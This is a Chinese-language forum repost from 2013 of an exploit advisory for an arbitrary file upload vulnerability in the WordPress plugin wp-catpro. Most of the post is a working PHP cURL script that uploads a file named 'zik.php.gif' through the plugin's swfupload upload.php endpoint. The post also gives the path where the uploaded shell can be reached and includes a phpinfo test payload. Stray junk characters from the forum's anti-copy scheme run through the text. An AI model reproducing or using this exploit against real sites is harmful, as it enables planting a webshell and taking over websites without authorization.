找回密码
 立即注册
查看: 2886|回复: 0
打印 上一主题 下一主题

WordPress插件wp-catpro任意文件上传

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-27 20:12:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability* K6 M) n2 ]2 U1 o% E$ W/ ?' s
#-----------------------------------------------------------------------
5 H* {  g5 |$ Y0 Z' ~) D
9 ~+ `' n5 c/ e$ S' B! J0 G作者  => Zikou-16, o1 f; O+ i% x+ a9 J
邮箱 => zikou16x@gmail.com  Z+ o- j1 X, t" w. T
测试系统 : Windows 7 , Backtrack 5r3
) Q7 N  Z. p/ V; B/ X6 s5 B& P; t下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip% E# j5 m' @0 r" \4 e* o6 R
####
9 z) P9 R8 |& E, z9 T: q  X. s
% k* X2 \9 Y0 F0 d% z#=> Exploit 信息:
6 Y3 Y! y8 E5 D4 g* v: E; `4 I------------------* @0 A& c+ K( [! e
# 攻击者可以上传 file/shell.php.gif$ ~7 I' N, I0 w! {% M6 @7 M
# ("jpg", "gif", "png")  // Allowed file extensions) l6 H' ?& j  q; ]
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)' [$ w% e. }1 z7 W$ \
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
) V5 W/ e- o3 i/ O/ |% a+ f: |------------------
) c5 Z; a4 f  V7 e
: n; D$ J5 M; r( C1 h+ Z#=> Exploit. L2 v, b/ k7 ~1 S, l) g
-----------
9 d! G! Q" P4 m$ Y6 [5 L& @<?php
' P" S6 q$ ^/ E, }! @
: o' V- d$ s3 m9 K, t8 R5 u0 H/ y$uploadfile="zik.php.gif";; I$ u3 p4 e: I, F! I% E! t
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
5 U: ]. Q" n# l2 x- V' o' vcurl_setopt($ch, CURLOPT_POST, true);3 q  n  V8 F1 c
curl_setopt($ch, CURLOPT_POSTFIELDS,
+ m2 R- X0 ~; y, P( varray('Filedata'=>"@$uploadfile",: `, T% Z/ h# y. N% N, z1 O( T
'folder'=>'/wp-content/uploads/catpro/'));. Y4 \7 _+ Q5 i! `$ Z2 A9 T+ e
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);% W3 H, e; ?& ~7 g
$postResult = curl_exec($ch);
( Z' ]+ c. k# r% p3 l, s0 Z$ Zcurl_close($ch);
  t* g5 R% }7 s, R  ~ * Y0 f8 B4 @, E$ z8 P& e+ S
print "$postResult";+ u9 O5 R+ R* Z+ j* N2 e# C

2 B! E6 q1 h6 o- TShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
! d8 d4 V: l/ N  ?>( i: y" W6 ^. G
<?php
3 ^8 o6 C4 l9 ^- o( c( [4 k8 ?phpinfo();7 q7 \4 H$ G: \  t
?>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表